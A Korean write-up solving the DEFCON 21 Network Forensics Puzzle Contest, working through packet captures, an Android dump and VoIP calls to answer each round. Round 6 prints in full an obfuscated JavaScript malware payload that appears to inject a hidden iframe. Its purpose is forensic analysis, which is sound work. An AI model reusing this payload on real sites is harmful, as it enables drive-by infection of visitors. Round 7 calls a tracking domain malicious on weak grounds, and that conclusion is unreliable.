본문 바로가기

[+] Hacking/[-] Challenge Report

[Defcon] 21 NFPC(Network Forensics Puzzle Contest) Write up

몇 해 전부터 SANS Network Forensic Puzzle Contest 문제가 Defcon의 Contest 문제로 계속 출제되고 있었다. 이번에도 작년과 마찬가지로 LMG Security에서 문제를 출제하였었는데, 작년과 마찬가지로 이번에도 온/오프라인으로 250여팀(팀 당 최대 6명)이 참가하여 10팀 정도가 올클리어를 했다고 한다.


대회 문제는 하나의 CD로 제공이 되며 CD 안에는 truecrypt 컨테이너 파일이 존재한다. 해당 컨테이너의 파일을 최초로 복호화 하기 위해서는 운영진 데스크에 문의 해야 한다. 컨테이너 파일을 복호화 하면 다음과 같은 파일들이 존재한다.


[Round 0]

Decryption Key : SYN-SYNACK-ACK=STart!@#$&@


[그림 1 - 컨테이너 내용물]


컨테이너 내용에는 첫 번째 문제와 나머지 7개 문제의 컨테이너 파일이 존재한다. 나머지 7개의 컨테이너 파일은 앞 라운드 문제 질문의 답을 정확히 찾아 운영진에게 문자로 전송하면 운영진이 다음 레벨 컨테이너에 대한 복호화 키를 전송 해 주어 복호화 할 수 있다. 


글쓴이는 직접 참가하지 않았기 때문에 지인으로부터 각 컨테이너의 복호화 키를 얻어 문제를 풀이하였다.


이제부터 각 라운드에 대한 풀이를 진행 해 보도록 하겠다.


[Round 1]

DEFCON 2013 Network Forensics Puzzle Contest: An Affair to Remember


Having accepted the Jensen case, Jack and his team install network taps and wireless capture devices in Mr. Jensen's business and home. During monitoring, Jack and his team discover an interesting suspect, Betty. This could be the woman Mrs. Jensen fears her husband is having an affair with. Jack assigns you the forensic analyst to look further into the information capture. You learn that a meeting has been setup.

Use the Round 1 packet capture in this folder to learn more about the case and answer the following question:


1. What day of the week is the meeting scheduled for?


MD5 CHECKSUM:

round1.pcap:


d0c7ee4bd7b18d6dea1f35b09b39d4c8


Remember:

You must answer the question in this round, in order to unlock the next round of the contest.


Next Round Password : MTA567=@


문제의 요점은 "What day of the week is the meeting scheduled for?" 이다. 결국 답은 요일 또는 날짜 등으로 유추 할 수 있는데, 날짜나 요일을 대화 또는 메모 등으로 발견 될 확률이 높다. 그러므로 텍스트를 중심으로 살펴보면 다음과 같이 대화 목록을 찾을 수 있다.


[그림 2 - 대화 메시지]


[그림 2]는 IRC 프로토콜을 통해 주고 받은 메시지 목록인데, 대부분의 메시지가 HTML 인코딩으로 인코딩 되어 있다. 각 대화는 TCP 스트림의 첫 번째와 두 번째이다. 각 대화를 완벽하게 디코딩하여 보면 다음과 같다.


[TCP 스트림 0]

PING :hades.de.eu.SwiftIRC.net

PONG :hades.de.eu.SwiftIRC.net

:betty!~blah@7FF07A37.29E7D414.B9027CEB.IP PRIVMSG #S3cr3tSp0t :Hi Greg :)

PRIVMSG #S3cr3tSp0t :Hi Betty

PRIVMSG #S3cr3tSp0t :what day do you want to meet up?

PING :hades.de.eu.SwiftIRC.net

PONG :hades.de.eu.SwiftIRC.net

PING :hades.de.eu.SwiftIRC.net

PONG :hades.de.eu.SwiftIRC.net

:betty!~blah@7FF07A37.29E7D414.B9027CEB.IP PRIVMSG #S3cr3tSp0t :How does Wednesday sound?

PING :hades.de.eu.SwiftIRC.net

PONG :hades.de.eu.SwiftIRC.net

PRIVMSG #S3cr3tSp0t :Great :) what time?

:betty!~blah@7FF07A37.29E7D414.B9027CEB.IP PRIVMSG #S3cr3tSp0t :ah 2pm

PING :hades.de.eu.SwiftIRC.net

PONG :hades.de.eu.SwiftIRC.net

PRIVMSG #S3cr3tSp0t :Ok, I can't wait!


[TCP 스트림 1]

PRIVMSG #S3cr3tSp0t :Hi Greg :)

:D34thM3rch4nt!~blah2@7FF07A37.29E7D414.B9027CEB.IP PRIVMSG #S3cr3tSp0t :Hi Betty

:D34thM3rch4nt!~blah2@7FF07A37.29E7D414.B9027CEB.IP PRIVMSG #S3cr3tSp0t :what day do you want to meet up?

PING :hades.de.eu.SwiftIRC.net

PONG :hades.de.eu.SwiftIRC.net

PING :hades.de.eu.SwiftIRC.net

PONG :hades.de.eu.SwiftIRC.net

PING :hades.de.eu.SwiftIRC.net

PONG :hades.de.eu.SwiftIRC.net

PRIVMSG #S3cr3tSp0t :How does Wednesday sound?

:D34thM3rch4nt!~blah2@7FF07A37.29E7D414.B9027CEB.IP PRIVMSG #S3cr3tSp0t :Great :) what time?

PRIVMSG #S3cr3tSp0t :ah 2pm

:D34thM3rch4nt!~blah2@7FF07A37.29E7D414.B9027CEB.IP PRIVMSG #S3cr3tSp0t :Ok, I can't wait!


대화 내용을 보면 수요일이 어떻냐는 질문과 좋다라는 대답이 보인다. 그러므로 둘은 수요일 날 만나는 것으로 볼 수 있다.


Answer : Wednesday


[Round 2]

DEFCON 2013 Network Forensics Puzzle Contest: Track Star


Betty attempts to keep her tracks covered as she establishes a meeting location with Gregory.

Use the Round 2 packet capture in this folder to answer the following question:


1. What city are they meeting?


MD5 CHECKSUM:

round2.pcap:


7d0273b7e867f90feb80ce31fe077c90


Remember:

You must answer the question in this round, in order to unlock the next round of the contest. 


Next Round Password : spT6745@@&%


어느 도시에서 그들이 만나는지 알아내는 것이 주 목적인 문제이다. 다시 한번 메시지를 추출 해 보면 다음과 같이 메일을 통해 어떤 파일을 보낸 것을 알 수 있다. 캡쳐는 하지 않았지만, 해당 메시지 전에는 패스워드를 요구하는 메시지가 있었고, 그 답문으로 미안하다며 패스워드를 알려주는 메시지가 존재한다.


[그림 3 - 메시지 로그]


어떤 파일이 주고 받아졌음을 알았으니 파일을 추출 해야 한다. [그림 2]에는 보이지 않지만, SEND 메시지는 1024포트로 전달 되었으며, 172.29.1.50이 전송하였다. 그러므로 해당 정보를 이용 해 다음과 같이 필터를 하면 파일을 추출 할 수 있다.


Filter : (ip.src == 172.29.1.50) and (tcp.port == 1024)


[그림 4 - 추출 한 파일 데이터]


메시지의 맨 마지막을 보면 파일의 크기가 나타나 있다. 추출한 파일의 크기와 비교 해 보면 동일한 것을 알 수 있다. 이제 이 파일을 이진 데이터로 만들고 메시지에서 다음과 같이 언급되었던 패스워드를 이용 해 복호화를 해보도록 하겠다.(암호화는 Truecrypt로 되어 있었다.)


"Here is the password for where you should meet me: S3cr3tVV34p0n"


복호화 하면 다음과 같이 두 개의 파일이 나온다.


[그림 5 - 추출 된 암호 데이터에서 복호화 된 파일들]


[그림 6 - IV.jpg]


[note.txt]

See You Soon!

Betty


Answer : LAS VEGAS


[Round 3]

DEFCON 2013 Network Forensics Puzzle Contest: On the Trail


Gregory is hesitant to meet with the mysterious Betty. While working late in the office, Gregory hears his phone ring. He checks his phone and knows he has no choice but to attend the meeting with Betty.

Use the Round 3 packet capture in this folder to answer the following question:


1.What will Gregory die from, if he fails to meet with Betty?


MD5 CHECKSUM:

round3.pcap:


cf4cd27c090c27598d43f58978fa9a1e


Remember:

You must answer the question in this round, in order to unlock the next round of the contest.


Next Round Password : MP42%!@


동봉되어 있는 패킷 캡쳐 파일을 열어보면 무수히 많은 TLS 패킷들이 보인다. 적어도 어떤 평문의 내용들이 포함되어 있는지 포기 위해 HTTP Object들을 살펴 보면 제일 처음 오브젝트에 다음과 같은 내용이 보인다.


[그림 7 - HTTP 오브젝트 목록]


컨텐츠의 타입을 보니 MMS 메세지라고 나온다. 다른 오브젝트들은 텍스트 또는 html, 이미지 등인 반면에 해당 컨텐츠만 유독 다르니 파일을 추출하여 볼 필요성이 있어 보인다. 해당 패킷의 스트림을 살펴보면 다음과 같은 시그니처가 존재한다.


[그림 8 - MMS 메시지 스트림]


mp4라는 것을 XML 엘리먼트를 통해 알 수 있고, 시그니처 또한 "ISO Base Media file (MPEG-4) v1" MP4의 시그니처를 확인 할수 있다. 이런 이유로 스트림을 추출 해서 확인하면 다음과 같은 영상을 볼 수 있다.


[그림 9 - 추출한 영상 화면]


Answer : DYSENTERY


[Round 4]

DEFCON 2013 Network Forensics Puzzle Contest: Mystery Date


Gregory, still unsure of Betty's true identity, meets with a group identifying themselves as Betty's Associates. They gave him a list of demands including numbers to bank accounts, and additional secret documents. Betty's Associates told Gregory he will be provided with information regarding the delivery of the goods.

Use the Round 4 packet capture in this folder to answer the following question:


1.What is the password provided to Gregory?


MD5 CHECKSUM:

round4.pcap:


a2466895a6b822fedc947411b1c5dc0f


Remember:

You must answer the question in this round, in order to unlock the next round of the contest.


Next Round Password : C4M1121**


패킷 파일을 보면 KML 파일을 담고 있는 메세지를 볼 수 있다.


[그림 10 - KML 파일을 담고 있는 메세지]


KML 파일을 추출하여 읽어보면 다음과 같이 지리적 위치에 그림이 그려져 있는 것을 볼 수 있다.


[그림 11 - KML View]


Answer : Brutus


[Round 5]

DEFCON 2013 Network Forensics Puzzle Contest: Lost and Found


Gregory is missing! He was supposed to meet up with Betty and deliver the goods. After that, the trail quickly goes cold. A strange shipment has arrived to the offices of Rock Solid Investigations. Jack Stone opens the package and discovers a note and a cell phone. Jack immediately sends the cell phone to you, the forensic investigator.

Use the Round 5 zip file in this folder to answer the following question:


1. What happened to Gregory?


MD5 CHECKSUM:

Huawei_U8665Fusion2.zip:


3306aa2b0082b0ee41e86167f763e885


Remember:

You must answer the question in this round, in order to unlock the next round of the contest.


Next Round Password : burt22$#@


이번에는 패킷파일 대신에 안드로이드에서 사용되는 파일시스템을 덤프한 압축파일이 주어진다. 무슨 일이 있어났는 것을 묻고 있으니, 사용자의 데이터가 저장 될 만한 곳을 먼저 분석 해 보아야 한다. 여러 사용자 데이터들을 보던 중 카메라 이미지가 저장 되어 있는 디렉토리에서 다음과 같은 사진이 발견 되었다.


[그림 12 - 카메라 디렉토리에서 발견 된 사진]


해당 파일 말고도 패킷 파일이 4개가 존재하였지만, 두 개는 다른 두개의 복사본 이었고, 패킷 캡쳐 파일들의 내용은 속임수를 위한 내용 같았다. 그러므로 답은 사진의 상황이 가장 적절하다.


Answer : Died


[Round 6]

DEFCON 2013 Network Forensics Puzzle Contest: Special Delivery


Mrs. Jensen decides to look further into this strange email. She decides to check her account balances to ensure she still has access to her accounts.

Use the Round 6 packet capture in this folder to answer the following question:


1. How many bytes of data is the malicious payload?


MD5 CHECKSUM:

round6.pcap:


d9dcb570296c11230b1b6a0018d74ef3


Remember:

You must answer the question in this round, in order to unlock the next round of the contest. 


Next Round Password : Haxxor*&%


악성코드의 페이로드 크기(byte)를 답하는 문제이다. 사실 이 문제는 굉장히 쉽게 풀린다. 패킷에 들어 있는 파일들을 모두 추출하여 백신으로 탐지하면 쉽게 풀린다.


[그림 13 - 백신 탐지 결과]


추출한 페이로드는 다음과 같다. 페이로드의 크기는 추출한 파일의 크기를 보면 알 수 있다.


[Payload]

<script>v="r21vr1b23rb";try{dsfsd++}catch(wEGWEGWEg){try{(v+v)()}catch(fsebgreber){m=Math;ev=eval;}

n="25&&26&&121&&119&&48&&57&&116&&128&&115&&134&&125&&118&&126&&133&&62&&120&&117&&133&&85&&125&&117&&126&&117&&127&&132&&132&&82&&138&&100&&114&&119&&95&&113&&126&&117&&57&&55&&115&&127&&117&&137&&56&&57&&108&&64&&110&&57&&140&&29&&26&&25&&26&&121&&119&&130&&114&&125&&118&&130&&57&&57&&76&&29&&26&&25&&142&&48&&118&&124&&132&&117&&49&&139&&30&&25&&26&&25&&117&&127&&116&&133&&126&&117&&127&&132&&63&&135&&131&&121&&133&&117&&57&&50&&77&&121&&119&&130&&114&&125&&118&&48&&132&&130&&116&&77&&56&&120&&133&&132&&129&&74&&64&&63&&116&&124&&122&&115&&124&&138&&122&&128&&63&&127&&131&&119&&64&&118&&118&&117&&117&&63&&119&&130&&114&&125&&118&&131&&63&&128&&121&&128&&80&&133&&122&&116&&78&&69&&71&&54&&119&&130&&114&&125&&118&&131&&78&&68&&56&&48&&136&&121&&117&&132&&121&&77&&56&&65&&65&&55&&49&&120&&118&&121&&120&&120&&133&&77&&56&&65&&65&&55&&49&&131&&133&&137&&125&&117&&78&&55&&135&&121&&132&&121&&115&&121&&125&&121&&133&&137&&75&&120&&122&&116&&117&&117&&127&&75&&129&&127&&132&&121&&133&&121&&128&&126&&75&&113&&115&&131&&128&&124&&134&&132&&118&&75&&125&&117&&119&&132&&75&&64&&76&&132&&128&&128&&75&&64&&76&&55&&79&&76&&64&&121&&119&&130&&114&&125&&118&&78&&51&&57&&76&&29&&26&&25&&142&&29&&26&&25&&119&&133&&127&&115&&133&&121&&128&&126&&49&&121&&119&&130&&114&&125&&118&&130&&57&&57&&140&&29&&26&&25&&26&&134&&114&&130&&49&&118&&49&&77&&49&&116&&128&&115&&134&&125&&118&&126&&133&&62&&116&&130&&118&&113&&133&&117&&86&&124&&118&&125&&118&&126&&133&&56&&56&&121&&119&&130&&114&&125&&118&&55&&58&&75&&119&&62&&132&&117&&133&&81&&133&&132&&131&&121&&115&&133&&133&&117&&57&&55&&132&&130&&116&&55&&61&&55&&121&&132&&133&&128&&75&&63&&64&&115&&125&&121&&116&&123&&139&&121&&129&&62&&128&&130&&120&&63&&119&&117&&118&&116&&64&&118&&131&&113&&126&&117&&132&&62&&129&&120&&129&&79&&134&&121&&117&&77&&70&&70&&55&&118&&131&&113&&126&&117&&132&&77&&69&&55&&58&&75&&119&&62&&132&&132&&138&&124&&118&&62&&135&&121&&132&&121&&115&&121&&125&&121&&133&&137&&78&&55&&121&&121&&117&&116&&118&&126&&56&&75&&119&&62&&132&&132&&138&&124&&118&&62&&129&&127&&132&&121&&133&&121&&128&&126&&78&&55&&114&&114&&132&&127&&125&&133&&133&&117&&56&&75&&119&&62&&132&&132&&138&&124&&118&&62&&125&&117&&119&&132&&78&&55&&65&&55&&76&&118&&63&&131&&133&&137&&125&&117&&63&&132&&128&&128&&78&&55&&65&&55&&76&&118&&63&&131&&118&&132&&82&&132&&133&&130&&122&&114&&134&&132&&118&&56&&56&&135&&122&&116&&133&&120&&56&&60&&56&&65&&65&&55&&58&&75&&119&&62&&132&&117&&133&&81&&133&&132&&131&&121&&115&&133&&133&&117&&57&&55&&121&&117&&122&&119&&121&&132&&56&&60&&56&&65&&65&&55&&58&&75&&30&&25&&26&&25&&117&&127&&116&&133&&126&&117&&127&&132&&63&&119&&118&&132&&86&&124&&118&&125&&118&&126&&133&&131&&83&&137&&101&&113&&120&&94&&114&&125&&118&&56&&56&&114&&128&&116&&138&&55&&58&&107&&65&&109&&63&&113&&129&&128&&118&&126&&117&&83&&121&&121&&125&&116&&57&&118&&58&&75&&30&&25&&26&&141".split("&&");h=2;s="";if(m)for(i=0;i-611!=0;i=1+i){k=i;if(window.document)s+=String.fromCharCode(n[i]-(020+i%h));}try{fsfewbfew--}catch(dgdsh){ev(s);}}</script>


Answer : 3113


[Round 7]

DEFCON 2013 Network Forensics Puzzle Contest: Phone Home


Mrs. Jensen decides to look further into this strange email. She decides to check her account balances to ensure she still has access to her accounts.

Use the Round 7 packet capture in this folder to answer the following question:


1. What is the URL of the false(Malicious) web page Victoria is directed to?


MD5 CHECKSUM:

round7.pcap:


398790ffd658fc56b4c8ccda5bba9aff


Remember:

You must answer the question in this round, in order to unlock the next round of the contest. 


Next Round Password : FIN-ACK@@##$


빅토리아가 접속한 악성 URL을 찾는 문제이다. 패킷 캡쳐 파일을 열어 살펴보면 bankofamerica.com 주소가 눈에 띈다.

그렇다면 이와 유사한 도메인이 분명 존재할 것이다.

HTTP 오브젝트들을 살펴보면 다른 도메인들과 다르게 암호화 하지 않고 통신하며, 도메인이 com이 아닌 net으로 끝나는 딱 한번 접속한 bankofamerica.com와 유사한 도메인이 존재한다.


[그림 14 - HTTP 오브젝트 목록]


해당 도메인에 접속 할 때에는 무수히 많은 파라메터들에 데이터가 담겨 전송되는데 해당 파라메터들을 정리해보면 다음과 같다.


[Parameter]

mboxHost=infocenter.bankofamerica.com

&mboxSession=1373056092923-406506

&mboxPC=1373056092923-406506.19_30

&mboxPage=1373056898233-47366

&screenHeight=1024

&screenWidth=1280

&browserWidth=1280

&browserHeight=861

&browserTimeOffset=-360

&colorDepth=24

&mboxXDomain=enabled

&mboxCount=1

&mbox=bac_global_bottom

&mboxId=0

&mboxTime=1373035298047

&mboxURL=http://infocenter.bankofamerica.com/smallbusiness/ic2/online-banking/view-balances-account-activity/

&mboxReferrer=http://www.google.com/url?sa=t&rct=j&q=why is my bank of america account not working?&source=web

&cd=2

&ved=0CD4QFjAB

&url=http://infocenter.bankofamerica.com/smallbusiness/ic2/online-banking/view-balances-account-activity/

&ei=dS_XUdu5Gei7igLL7YHQDw&usg=AFQjCNEh7nqNYvobnOUp-5_YMQJn7YTKEQ&bvm=bv.48705608,d.cGE

&mboxVersion=41


전달되는 정보를 보면 사용자의 스크린 크기부터, 시간 값, 접속한 횟수, 리퍼러 정보 등이 있다. 리퍼러 정보를 보면 사용자가 서비스를 이용하던 도중 구글에서 해당 서비스가 왜 동작하지 않는 것인지에 대해 의문을 품고 검색을 한 흔적도 보인다. 이를 통해 해당 도메인이 악성 도메인이라고 확신 할 수 있다.


Answer : http://bankofamerica.tt.omtrdc.net/


[Round 8]

DEFCON 2013 Network Forensics Puzzle Contest: Hit the Road Jack


As Jack is wrapping up the case, he learns that the mystery is far from over.

Use the Round 8 packet capture in this folder to learn more about the mystery and to answer the following question:


1. Who killed Gregory?


MD5 CHECKSUM:

round8.pcap:


09b8b3d7f2349202ce324b56e234caba8


Remember:

You must answer the question in this round to complete the contest.


패킷 파일을 열어보면 무수히 많은 SIP 프로토콜 패킷들이 보인다. 재생을 위해 해당 패킷들을 VoIP Call 형태로 보면 다음과 같이 두 개의 VoIP Call이 보인다.


[그림 15 - VoIP Call]


재생하여 들어보면 누가 그레고리를 죽였는지 알 수 있다.


Answer : Victoria